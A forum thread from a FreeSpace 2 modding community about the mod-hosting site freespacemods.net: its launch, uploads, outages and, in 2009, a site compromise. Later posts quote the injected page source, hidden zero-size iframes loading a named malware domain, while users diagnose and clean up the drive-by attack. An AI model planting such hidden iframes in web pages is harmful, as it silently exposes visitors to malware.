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Title: Freespacemods.net
Post by: achtung on February 25, 2008, 11:39:07 am
Some of you may have noticed me using this when I mirror various mods now.  This is the site I decided to launch earlier this month as a place to upload and share the various files you have.

I purchased the domain a while back with intention to do this, but I ended up just using it as a sub-domain for the official FSPort/SA/T-V War Project/TBP mirrors I host.

I feel like publicizing this is a good idea now, as I *seem* to have most of the show-stopping kinks worked out.

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Uploading - The maximum file size is 1 GB.  If your file is larger, or near this size and fails to upload, you can contact me at achtung-at­-nukelol.com and we can work something out.  You don't even have to register to upload, you can simply go to the uploads page, fill out the info, and upload your file.  All files have to be approved by an Administrator before appearing, but this is usually a very quick process and may be eliminated very soon.  *UPDATE* Members can now upload files without Administrator approval!  Guest uploads still need approval, and always will.
ONLY UPLOAD MODS THAT HAVE CEASED DEVELOPMENT OR MODS THAT ARE COMPLETE.


Project Hosting - As I have been for a while, I'm more than willing to give someone hosting for their project.  You will get a sub-domain of freespacemods.net, fsmods.net, nukelol.com, fathax.com, or failnet.org.  I can also use DynDNS sub-domains.  Disk Space and bandwidth are negotiable and depend on your needs.  You get full FTP access, a MySQL database if needed, an e-mail address if needed, and SSH access if I feel you can be trusted with it.

Comments/Questions/Problems are welcome!

http://www.freespacemods.net/
Title: Re: Freespacemods.net
Post by: jdjtcagle on February 25, 2008, 11:48:20 am
Great! Will there be missions as-well?

EDIT: *looks* awesome they do :)

EDIT2: C'mon people upload ships!
Title: Re: Freespacemods.net
Post by: achtung on February 25, 2008, 04:57:31 pm
This seems to be going over quietly.
Title: Re: Freespacemods.net
Post by: karajorma on February 25, 2008, 05:27:36 pm
Ironically I noticed and bookmarked your site earlier today. :D
Title: Re: Freespacemods.net
Post by: Mad Bomber on February 25, 2008, 05:54:49 pm
I'll upload some thingies later on.
Title: Re: Freespacemods.net
Post by: Retsof on February 25, 2008, 06:00:37 pm
Finally I can upload my HL-8 Pack!
Title: Re: Freespacemods.net
Post by: achtung on February 25, 2008, 06:02:19 pm
Wow, just looked at HC's latest news.  Looks like I may have popped up at the right time. 
Title: Re: Freespacemods.net
Post by: Retsof on February 25, 2008, 06:10:34 pm
Erm... It appears that you have no "Weapons" section.
Title: Re: Freespacemods.net
Post by: achtung on February 25, 2008, 06:23:46 pm
Now I do.
Title: Re: Freespacemods.net
Post by: Retsof on February 25, 2008, 06:26:29 pm
Yay
This should go in the "External Sites" tab.
Title: Re: Freespacemods.net
Post by: achtung on February 25, 2008, 06:32:27 pm
The more stuff that's uploaded, the more chance it has of being put there.  I already talked to Goob about it, but he seemed to want to wait until I went public with it.
Title: Re: Freespacemods.net
Post by: achtung on February 27, 2008, 10:35:01 am
Hate to bump with a double post, but can this be stickied or something?  That would be nice.
Title: Re: Freespacemods.net
Post by: Starman01 on February 27, 2008, 11:21:07 am
Well, I still have my advanced sentry guns lying around somewhere if you are interested (unfortunately they didn't evoked that much interest ater release, but maybe because I posted that shortly after a huge HLP downtime where probably most people were still away :) ) However, I should find someone to do me shine and specmaps first since those are still missing  :nervous:
Title: Re: Freespacemods.net
Post by: haloboy100 on February 27, 2008, 06:39:24 pm
I think this should be highlighted.
Title: Re: Freespacemods.net
Post by: jdjtcagle on February 27, 2008, 10:57:47 pm
Stickified!
Title: Re: Freespacemods.net
Post by: achtung on February 27, 2008, 11:00:34 pm
Both!  :p
Title: Re: Freespacemods.net
Post by: karajorma on February 28, 2008, 07:13:06 am
Neither. It should be on the external links section. 
Title: Re: Freespacemods.net
Post by: Colonol Dekker on February 28, 2008, 07:16:38 am
Swantz, will you be mirroring all the FS2 editing tools too like the whole view32 range and pof/cob converters and pof editors?

That would be awwwwwwwsome too.


Thanks in advance. ;)
Title: Re: Freespacemods.net
Post by: achtung on February 28, 2008, 05:04:19 pm
Swantz, will you be mirroring all the FS2 editing tools too like the whole view32 range and pof/cob converters and pof editors?

That would be awwwwwwwsome too.


Thanks in advance. ;)

Point me to em and they'll be up there in no time.

Also, your account is activated.
Title: Re: Freespacemods.net
Post by: Colonol Dekker on February 29, 2008, 02:57:29 am
I'm on my way to work right now. Clocking on at half nine. I'll grab some links for ya and pm. Ta
Title: Re: Freespacemods.net
Post by: jdjtcagle on March 01, 2008, 08:53:06 pm
Sol: A History just has the fix on it
Title: Re: Freespacemods.net
Post by: achtung on March 02, 2008, 02:23:23 am
Hmm?
Title: Re: Freespacemods.net
Post by: achtung on March 02, 2008, 09:25:17 pm
Thanks for the sticky!
Title: Re: Freespacemods.net
Post by: Snail on March 16, 2008, 03:30:39 pm
Well, I still have my advanced sentry guns lying around somewhere if you are interested

Please do!
Title: Re: Freespacemods.net
Post by: jdjtcagle on March 28, 2008, 09:14:18 am
This place is genius, thanks for the AVI cutscenes! :)
Title: Re: Freespacemods.net
Post by: shiv on March 28, 2008, 09:52:02 am
I really like freespacemods.net

Goob job :yes:

Good to see it's less buggy than Hades Combine.
Title: Re: Freespacemods.net
Post by: Snail on March 28, 2008, 10:12:38 am
Upload everything you still have left from HC to FreeSpace Mods! Especially that Hitler Melon thing!
Title: Re: Freespacemods.net
Post by: Colonol Dekker on March 28, 2008, 10:28:30 am
Never thought i'd hear that again. . .
Title: Re: Freespacemods.net
Post by: Jeff Vader on March 28, 2008, 10:42:46 am
 :wtf: What the bloody hell is a Hitler Melon thing? Or did someone actually mod the animation into FS?
Title: Re: Freespacemods.net
Post by: Snail on March 28, 2008, 10:44:59 am
It was in the non-FS section under funnies.
Title: Re: Freespacemods.net
Post by: achtung on March 28, 2008, 10:59:10 am
Hitler Melon?

DO WANT
Title: Re: Freespacemods.net
Post by: asyikarea51 on March 28, 2008, 11:32:48 am
LOL, THAT watermelon animation... :lol:
Title: Re: Freespacemods.net
Post by: Titan on March 28, 2008, 01:09:12 pm
it takes some footage of Hitler giving a speech, and puts a melon over it. it's Hilarius.
Title: Re: Freespacemods.net
Post by: achtung on March 28, 2008, 01:27:02 pm
http://www.youtube.com/watch?v=APeECfo76b4&feature=related

Wouldn't be that, would it?
Title: Re: Freespacemods.net
Post by: Snail on March 28, 2008, 01:36:20 pm
Yes that, just without the random pause and the "Hello Hitler" thing at the end.
Title: Re: Freespacemods.net
Post by: Titan on March 28, 2008, 02:40:13 pm
yuck, all of the ones youtube have are... i dunno. but they made me throw-up.
Title: Re: Freespacemods.net
Post by: GenericCorvette on March 30, 2008, 05:35:36 am
Especially that Hitler Melon thing!

He never actually finishes the damn slices. What a waste. (http://img444.imageshack.us/img444/7528/hitlarlolzqv5.gif)
Title: Re: Freespacemods.net
Post by: Snail on March 31, 2008, 06:22:08 pm
RickRoll'd.
Title: Re: Freespacemods.net
Post by: Droid803 on March 31, 2008, 06:24:27 pm
Oh no.
Someone just rigged every link in the forum to go rickroll
try it.
Title: Re: Freespacemods.net
Post by: Hades on March 31, 2008, 06:34:41 pm
Goddammit! A ****ing April fools joke?... I thought the forum got off that a while back....
Oh and Droid you copied off of Turambar's text. :rolleyes:
Title: Re: Freespacemods.net
Post by: haloboy100 on March 31, 2008, 06:50:23 pm
NOOOO!!!! GOOOBER!!!!!!
Title: Re: Freespacemods.net
Post by: Droid803 on March 31, 2008, 07:21:59 pm
Oh and Droid you copied off of Turambar's text. :rolleyes:

Err...didn't know that. Damn... *changes*


Yea, april fools.
Title: Re: Freespacemods.net
Post by: SF-Junky on April 23, 2008, 01:07:43 pm
Dunno if this is the right place for this, but is there a reason why you can just fly through that upgraded Orion of blowfish?
Title: Re: Freespacemods.net
Post by: Droid803 on April 23, 2008, 06:43:12 pm
Its a ghost ship.
open with PCS2, hit Purge BSP Cache, and save again. That may fix it.

I've gotten used to doing that before I save every time, so no ghost ships pop up.
Title: Re: Freespacemods.net
Post by: blowfish on April 23, 2008, 06:55:28 pm
Dunno if this is the right place for this, but is there a reason why you can just fly through that upgraded Orion of blowfish?

Hmm ... thought that I fixed collision detection when I uploaded it.  Did you do anything to it after you downloaded it?

Anyway, just do what Droid said, purge BSP Cache and resave.  Works every time.
Title: Re: Freespacemods.net
Post by: SF-Junky on April 24, 2008, 12:12:16 pm
Did you do anything to it after you downloaded it?
I changed the position of two turrets and used the Texture Replacement feature in Fred_open. But purging the BSP Chache helped - thanks.
Title: Re: Freespacemods.net
Post by: blowfish on April 24, 2008, 05:55:20 pm
In my experience, doing anything without purging the cache can cause ghost ships.  So that probably means that the one I uploaded wasn't broken.   That's a relief :)
Title: Re: Freespacemods.net
Post by: Droid803 on April 24, 2008, 06:13:42 pm
I think you can reskin without that happening, occasionally. Its safer to purge every time though.
Title: Re: Freespacemods.net
Post by: Ambassador Kosh on April 24, 2008, 08:13:19 pm
Hey I found it guys/gals I think *crosses fingers*.
Title: Re: Freespacemods.net
Post by: Droid803 on May 15, 2008, 05:03:35 pm
Is it just me, or is FSMods kinda dead.
getting a
"CRITICAL_ERROR:
Line : generic, class2.php

Error reported as: [6]: Unable to form a valid connection to mySQL. Please check that your e107_config.php contains the correct information."
Title: Re: Freespacemods.net
Post by: BengalTiger on May 15, 2008, 05:34:29 pm
It's kinda dead, I got the same thing.
Title: Re: Freespacemods.net
Post by: Hellstryker on May 15, 2008, 05:37:25 pm
How come when I try to inform people my topic gets locked?  :rolleyes:
Title: Re: Freespacemods.net
Post by: blowfish on May 15, 2008, 05:41:29 pm
Because you don't need a new topic for it :rolleyes:
Title: Re: Freespacemods.net
Post by: Droid803 on May 15, 2008, 06:05:17 pm
It's kinda dead, I got the same thing.
dang, I can't upload the pathed, thrustered, and dockpointed Tennyson >.>
Might as well add glowpoints too, then...

EDIT: FSMods is back up.
Title: Re: Freespacemods.net
Post by: Getter Robo G on May 16, 2008, 07:26:31 am
My files have been downloaded 30 times here... the one I uploaded there has yet to be added to the menu...
Title: Re: Freespacemods.net
Post by: ShadowGorrath on May 16, 2008, 08:41:59 am
Freespacemods.net is still down.
Title: Re: Freespacemods.net
Post by: blowfish on May 16, 2008, 08:43:19 am
It went back up for a little while, but now its down again.
Title: Re: Freespacemods.net
Post by: Titan on May 16, 2008, 09:05:19 am
is the tennyson tbled?

And also, i've been getting the problem too...
Title: Re: Freespacemods.net
Post by: ShadowGorrath on May 16, 2008, 09:16:21 am
Well, look at the bright side- there's still the Sectorgame.
Title: Re: Freespacemods.net
Post by: Titan on May 16, 2008, 09:17:33 am
.... the sites nice, but it's sort-of like an archive for old things right now... no offense
Title: Re: Freespacemods.net
Post by: Droid803 on May 16, 2008, 11:39:43 am
is the tennyson tbled?

And also, i've been getting the problem too...

Yes, its tabled.

And FSMods is online for me, right this moment.
Title: Re: Freespacemods.net
Post by: achtung on May 16, 2008, 03:39:08 pm
Sorry guys, had a bit of an issue with The Babylon Project's downloads saturating the server and killing MySQL.  Everything should be good now!
Title: Re: Freespacemods.net
Post by: blowfish on May 16, 2008, 06:42:30 pm
Its back up!  Yay!! :D
Title: Re: Freespacemods.net
Post by: Getter Robo G on May 17, 2008, 04:36:07 am
Blowfish,

   Are your models pictured in your link in a pack anywhere???

Title: Re: Freespacemods.net
Post by: blowfish on May 17, 2008, 12:32:06 pm
Most of them aren't even textured.  The GTD Thanatos I gave up on halfway through conversion (I could revive it if you want), and the Leto (that round cruiser) is now ED-exclusive.  Other than that, none are complete enough to even think about releasing.  I plan to finish that refinery platform at some point for my own purposes.  If you wanted anything in particular finished, I could do that.
Title: Re: Freespacemods.net
Post by: Titan on May 17, 2008, 12:35:22 pm
the beefed up ursa, if you can.
Title: Re: Freespacemods.net
Post by: Snail on June 08, 2008, 04:04:20 am
Note to all people uploading at FreeSpaceMods:

When giving screenshot images for your ship uploads, please give them descriptive names, like "apollo_screenshot", it makes it easier so that there aren't 10 pictures called "screenshot" or a random file called "tv682v" in the file manager. Also make sure there are no spaces in the file name (obviously) use underscores (_). Thank y'all.
Title: Re: Freespacemods.net
Post by: nubbles526 on June 14, 2008, 04:50:07 am
Thank god we have this....thats why we all love contributers such as you! Now, at least, since HC is down, I can actually download my mods from here.
Title: Re: Freespacemods.net
Post by: 0rph3u5 on June 23, 2008, 03:21:06 pm
I just uploaded some models I still had from HC to freespacemods.net ....

was depressing how empty this download page was

I don't claim authorship for any of the models (although the page says different) - I just happened to have them (from HC)
Title: Re: Freespacemods.net
Post by: Snail on June 23, 2008, 03:22:37 pm
Who uploaded the new carrier? Whoever made it, it was cool just to say.
Title: Re: Freespacemods.net
Post by: peterv on July 05, 2008, 12:16:11 pm

What new carrier?
Title: Re: Freespacemods.net
Post by: Snail on July 09, 2008, 06:17:54 am
The one you uploaded, called the Hestia.

If you're the one who made it, keep up the good work. That ship was a brilliant ship, one of the best out there. :)
Title: Re: Freespacemods.net
Post by: peterv on July 09, 2008, 02:12:41 pm
Thank's Snail. Comments like yours feeds my ego. Have you tested it? It's my first for freespace and i am not expierienced player yet.
Title: Re: Freespacemods.net
Post by: Snail on July 18, 2008, 03:39:36 pm
Uhh, am I the only one who is not liking all the n00b mods now being added? Like the crappy reskins and the table hacks? If nobody objects, I am going to remove them all.

(And the Hestia isn't a n00b mod. The complete opposite, in fact. Keep churning out ships please)
Title: Re: Freespacemods.net
Post by: Titan on July 18, 2008, 04:05:05 pm
the maverick is pretty cool too- another first model, still beta, so it doesn't have real textures yet, just some capship textures fom BP. but it's still pretty awesome.

But the reskins and hacks are pretty annoying. nobody is going to want a table hack; they'll just make their own for what they need.

@Peterv snail's right, that Hestia is pretty good.
Title: Re: Freespacemods.net
Post by: Droid803 on July 18, 2008, 09:06:06 pm
Uh, is it just me, or is FSMods dead (again). >.> It was just me.
Yeah, noone wants a table hack, especially not one that only switches a few weapons and can be done in FRED!

Btw, where's this "Hestia"?
Title: Re: Freespacemods.net
Post by: peterv on July 18, 2008, 09:40:19 pm
In freespacemods.net, under the "transport and utility" category.
Title: Re: Freespacemods.net
Post by: Colonol Dekker on July 21, 2008, 04:10:46 pm
Table hacks are the first step for new modders. I remember when that's all that existed. Leave em be i say. Just stick em in their own section. New guys need validation too :)
Title: Re: Freespacemods.net
Post by: Droid803 on July 21, 2008, 07:05:31 pm
Yeah, but they shouldn't be mixed up with the actual models that people actually care about.
Title: Re: Freespacemods.net
Post by: Snail on July 22, 2008, 12:20:46 pm
Alright, I am removing all of the table hacks now.

And what about crappy reskins?
Title: Re: Freespacemods.net
Post by: Droid803 on July 22, 2008, 12:28:31 pm
Which ones are the "crappy reskins"?
The Hades one is actually...decent. (it has shine and glow maps as well if you extract it...somehow)
Title: Re: Freespacemods.net
Post by: ShadowGorrath on July 22, 2008, 12:54:15 pm
Ugh... Couldn't you just put in a section for those table hacks, and move them all there?
Title: Re: Freespacemods.net
Post by: Snail on July 22, 2008, 12:58:38 pm
I could have, but it would be quicker to extract the ship.tbl from the .vp and make it yourself.
Title: Re: Freespacemods.net
Post by: ShadowGorrath on July 22, 2008, 01:02:48 pm
At least make a section for the crappy reskins and put them there. It could be someone's begining of the journey through the path of FS2 modding.

Er, whatever. Just instead of deleting them put them in a special section for all the people who begin to mod.
Title: Re: Freespacemods.net
Post by: Snail on July 22, 2008, 01:05:17 pm
The majority of them were the crappy things made in 1999.
Title: Re: Freespacemods.net
Post by: ShadowGorrath on July 22, 2008, 01:09:36 pm
I didn't know we could have had 2048x2048 TGA textures with shine, glow and normal maps in 1999 ?
Title: Re: Freespacemods.net
Post by: Snail on July 22, 2008, 01:12:21 pm
I didn't know we could have had 2048x2048 TGA textures with shine, glow and normal maps in 1999 ?
Did I delete that?
Title: Re: Freespacemods.net
Post by: Droid803 on July 22, 2008, 01:14:39 pm
Uh...if you mean by "begining of the journey through the path of FS2 modding" adding "player ship" to the flags and doing nothing else...uhh, well, that's not a really good start. Sure, I mean you could do it, but there's no need to share it because everyone and their grandma can do that.
Title: Re: Freespacemods.net
Post by: achtung on October 21, 2008, 08:47:36 pm
I just wanted to thank everyone for uploading all the stuff they have.

Thanks guys.  :)
Title: Re: Freespacemods.net
Post by: FreeSpaceFreak on September 12, 2009, 04:59:20 pm
It's been reported as an "attack site" ?
Title: Re: Freespacemods.net
Post by: The E on September 12, 2009, 05:29:02 pm
Google Chrome leads me to this error report:

Quote
What is the current listing status for freespacemods.net?
Site is listed as suspicious - visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

What happened when Google visited this site?
Of the 3 pages we tested on the site over the past 90 days, 3 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-09-12, and the last time suspicious content was found on this site was on 2009-09-12.
Malicious software is hosted on 2 domain(s), including reycross.com/, 213.163.89.0/.

This site was hosted on 1 network(s) including AS26347 (DREAMHOST).

Has this site acted as an intermediary resulting in further distribution of malware?
Over the past 90 days, freespacemods.net did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?
No, this site has not hosted malicious software over the past 90 days.

How did this happen?
In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.
Title: Re: Freespacemods.net
Post by: basnyy213 on September 12, 2009, 05:49:52 pm
Is it ok to use? I've got the warning on Firefox.
Title: Re: Freespacemods.net
Post by: The E on September 12, 2009, 06:02:22 pm
AFAICT, yeah. But whoever runs the site needs to contact google to sort this out.

**** that. Just got hit with a drive-by malware attack while visiting the site. Not. Good.
Title: Re: Freespacemods.net
Post by: Herra Tohtori on September 12, 2009, 07:14:32 pm
Avast! for home reports something as well.

Code: [Select]
File name: http://freespacemods.net/news.php\{gzip}
Malware name: HTML:Iframe-inf
Malware type: Virus/Worm
VPS version: 090912-0, 12.09.2009

Considering the Google's information, I'd say the problem lies here:

Code: [Select]
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><iframe src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe></td></tr></table><table style='width:100%' cellspacing='3'><tr><td style='width:20%;'></td><td style='width:60%;'><img src='/e107_themes/e107v4a/images/blank.gif' width='1' height='1' alt='' /></td><td style='width:20%;'></td></tr><tr><td style='width:20%; vertical-align: top;'>

http://reycross.com/lib/index.php triggers the same anti-virus warning and Google reports the following of the site:

Quote
Safe Browsing
Diagnostic page for reycross.com

What is the current listing status for reycross.com?

    Site is listed as suspicious - visiting this website may harm your computer.

What happened when Google visited this site?

    Of the 9 pages that we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time that Google visited this site was on 2009-09-12, and the last time that suspicious content was found on this site was on 2009-09-12.

    Malicious software includes 280 trojan(s), 48 exploit(s), 2 scripting exploit(s).

    This site was hosted on 5 network(s) including AS20495 (WEDARE), AS49314 (NEVAL), AS48974 (MFOREX).

Has this site acted as an intermediary resulting in further distribution of malware?

    Over the past 90 days, reycross.com appeared to function as an intermediary for the infection of 171 site(s) including zerodefectselling.com/, egitimbirsen.org.tr/, uvegateatro.com/.

Has this site hosted malware?

    Yes, this site has hosted malicious software over the past 90 days. It infected 387 domain(s), including pokeyplay.com/, egitimbirsen.org.tr/, jag-team.de/.

How did this happen?

    In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Next steps:

    * Return to the previous page.
    * If you are the owner of this website, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google's Webmaster Help Centre.


My conclusion:

CALL GOOGLE AND TELL THEM TO GET THIS OUT OF THEIR ADS.

EDIT: The issue has been reported, but it remains to be seen how fast Google reacts if at all.

EDIT2: In further inspection, it seems it isn't in fact the google ads; the script ends before the offending iframe entry on the news.php starts. Now I feel like a tool. :rolleyes:
Title: Re: Freespacemods.net
Post by: karajorma on September 13, 2009, 09:32:48 am
So Google is reporting an attack caused by Google adverts? :lol:
Title: Re: Freespacemods.net
Post by: Herra Tohtori on September 13, 2009, 10:56:40 am
So Google is reporting an attack caused by Google adverts? :lol:

Yes. That was my response too, after going  :eek: and before :wtf:.

It makes no sense that they don't cross-reference the databases of reported malware sites with the sitest that are advertised by AdSense. Or if they do they should do it more often.

EDIT: I still feel like a tool. :ick:
Title: Re: Freespacemods.net
Post by: Snail on September 13, 2009, 11:14:21 am
God that's annoying.
Title: Re: Freespacemods.net
Post by: sigtau on September 13, 2009, 12:07:53 pm
Funny how my site contains stuff on Freespace and I use Google ads, yet I don't get strange blocks like that.
Title: Re: Freespacemods.net
Post by: Herra Tohtori on September 13, 2009, 12:33:18 pm
Funny how my site contains stuff on Freespace and I use Google ads, yet I don't get strange blocks like that.

Not all google ads use the same ad lists, FreeSpaceMods just happened to get a malware site.

Who knows how many similar sites are marketing themselves through google ads. Although it could, hypothetically, be a case of trojan actually having infected the Google Ads of FreeSpaceMods to show a malware site, rather than Google AdSense actually having the malware site on their lists...
Title: Re: Freespacemods.net
Post by: basnyy213 on September 13, 2009, 08:53:21 pm
Any idea when google's going to fix the problem?
Title: Re: Freespacemods.net
Post by: achtung on September 13, 2009, 10:27:28 pm
Hey folks, thought it might be a good idea to chime in and let everyone know what's going on.

My host recently decided to move my sites to another server on a whim.  The old servers were 32-bit, the new ones are 64-bit, and are running a different version of PHP.  This move broke all of my sites that used a modified php.ini horribly, and I had to go fix them all.  Somewhere in this mess, somebody managed to upload two .html files that redirected to reycross, which I assume is a malware distribution site.  One was uploaded as an avatar, and another as an upload into the public uploads section.

I have removed the offending files and requested a review of the site from Google.  Hopefully this will fix the issue Firefox and Chrome users are having.  I also plan to look into how exactly the files got there, and from where.

In a day or two it should be fine again.

Sorry.  =/
Title: Re: Freespacemods.net
Post by: BengalTiger on September 14, 2009, 03:35:04 pm
So that means I don't have to write about the virus that keeps me from entering the site (antivirus blocks the connection).

Not the best way to resume work on TotT after the summer break...
Title: Re: Freespacemods.net
Post by: Herra Tohtori on September 15, 2009, 01:49:11 am
Oh well, google is innocent after all... However, immediately after the google ad javascript, there's the following entry in news.php:

Code: [Select]
<iframe src="http://reycross.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://reycross.com/laso/s.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe></td></tr></table><table style='width:100%' cellspacing='3'><tr><td style='width:20%;'></td><td style='width:60%;'><img src='/e107_themes/e107v4a/images/blank.gif' width='1' height='1' alt='' /></td><td style='width:20%;'></td></tr><tr><td style='width:20%; vertical-align: top;'>

Which I believe is what is initiating the virus intrusion attempts. It's still in the page source, so as things are Google will keep detecting the site as a malware site; removing all references to reycross.com recursively from all pages on the site should do the trick.
Title: Re: Freespacemods.net
Post by: blowfish on September 15, 2009, 02:10:49 am
Funny ... there was a similar malware insertion (hidden frame) in the Earth Defense website, which somehow kept reappearing, a while ago.  It went away after I changed the infrastructure of the page but how it got there in the first place, and why it kept reappearing, both remain a mystery.
Title: Re: Freespacemods.net
Post by: BengalTiger on September 15, 2009, 09:53:49 am
...but how it got there in the first place, and why it kept reappearing, both remain a mystery.

(http://www.swapmeetdave.com/Humor/Cats/Spy.jpg)

(http://www.petsfunky.com/wp-content/uploads/2008/04/funny-pictures-there-is-a-spy-among-us-ad0401bdee.jpg)
Title: Re: Freespacemods.net
Post by: achtung on September 15, 2009, 11:08:17 am
It's starting to look like it may be more work than it's worth to clean up fully.

Does anyone here hate Joomla?
Title: Re: Freespacemods.net
Post by: Akalabeth Angel on September 15, 2009, 11:12:36 am
It's starting to look like it may be more work than it's worth to clean up fully.

You have a backup or something to revert to?
Title: Re: Freespacemods.net
Post by: achtung on September 15, 2009, 11:44:57 am
It's starting to look like it may be more work than it's worth to clean up fully.

You have a backup or something to revert to?

All downloads and screenshots are backed up on my machine and my host's server.  All I need to do, if I choose to keep e107, is backup the MySQL database, reinstall e107, and then put everything in place like it never happened.  That's how simple it *SHOULD* be.  I'm a strong believer in Murphy's Law though.
Title: Re: Freespacemods.net
Post by: BengalTiger on September 15, 2009, 02:06:42 pm
So the forums and threads aren't backed up?
Title: Re: Freespacemods.net
Post by: achtung on September 15, 2009, 04:31:32 pm
So the forums and threads aren't backed up?

They are.

I probably should have mentioned that. :)
Title: Re: Freespacemods.net
Post by: sigtau on September 15, 2009, 08:33:15 pm
Luckily the subdomains to fsmods didn't get hit. :/
Title: Re: Freespacemods.net
Post by: Fury on September 15, 2009, 11:14:09 pm
Does anyone here hate Joomla?
Joomla has terrible security history. Granted, most problems are caused by 3rd party addons/plugins rather than the core package. But still.
Title: Re: Freespacemods.net
Post by: BengalTiger on September 16, 2009, 05:07:59 am
So the forums and threads aren't backed up?

They are.

I probably should have mentioned that. :)

Good. It would take me weeks to recall and rewrite the storyline for TotT.

However as soon as the forum's up I'll save the storyline thread on my HDD to have a backup.
Title: Re: Freespacemods.net
Post by: achtung on September 17, 2009, 06:46:16 pm
Main site and files restored.  Forums restored.  User registration disabled.  File upload disabled.  Screenshots for downloads are backed up, but not restored.

This is temporary.  There will be a replacement coming soon.
Title: Re: Freespacemods.net
Post by: chief1983 on September 21, 2009, 10:35:42 am
Glad it's back in some level of operation.
Title: Re: Freespacemods.net
Post by: TopAce on September 21, 2009, 12:08:42 pm
I still can't download anything.
/me is waiting patiently.
Title: Re: Freespacemods.net
Post by: achtung on September 22, 2009, 09:58:00 am
Sorry, that's been fixed.  Everything was extracted to the wrong directory.
Title: Re: Freespacemods.net
Post by: TopAce on September 26, 2009, 07:09:10 am
What's up with the uploading business? I cannot see an "upload" button anywhere (except the upload large file one which returns a 404 message), but I see that the 158th have uploaded Exposition.
Title: Re: Freespacemods.net
Post by: FUBAR-BDHR on September 26, 2009, 03:13:28 pm
Main site and files restored.  Forums restored.  User registration disabled.  File upload disabled.  Screenshots for downloads are backed up, but not restored.

This is temporary.  There will be a replacement coming soon.

That would be my guess.
Title: Re: Freespacemods.net
Post by: achtung on September 27, 2009, 11:30:59 pm
What's up with the uploading business? I cannot see an "upload" button anywhere (except the upload large file one which returns a 404 message), but I see that the 158th have uploaded Exposition.

If you need something uploaded just shoot me a link and I'll gladly add it.  I'm just trying to avoid too many things being added, as I'm not finding any good solutions for transferring the old database of downloads to a new CMS.  I may have to do it all by hand.   :ick:
Title: Re: Freespacemods.net
Post by: achtung on January 27, 2010, 05:41:56 pm
I'm not dead yet.  :)

Uploads have been re-enabled.
Title: Re: Freespacemods.net
Post by: achtung on September 19, 2010, 08:54:05 pm
Hey guys, please drop by the forums if you have time and offer some comments on the organization of the downloads section.

Link (http://www.freespacemods.net/e107_plugins/smf/smf.php?topic=209.0)
Title: Re: Freespacemods.net
Post by: Qent on September 19, 2010, 10:36:28 pm
FSMods has forums? :eek2:

I feel so... uninformed.
Title: Re: Freespacemods.net
Post by: Hades on September 20, 2010, 11:08:34 pm
I've redone the models sections of the downloads page but suggestions for the other parts sure would be nice.

http://www.freespacemods.net/download.php

Idea, Swantz. Subcategories are handled like sub-forums here. So say you click campaigns and it brings you to a page with the campaign categories.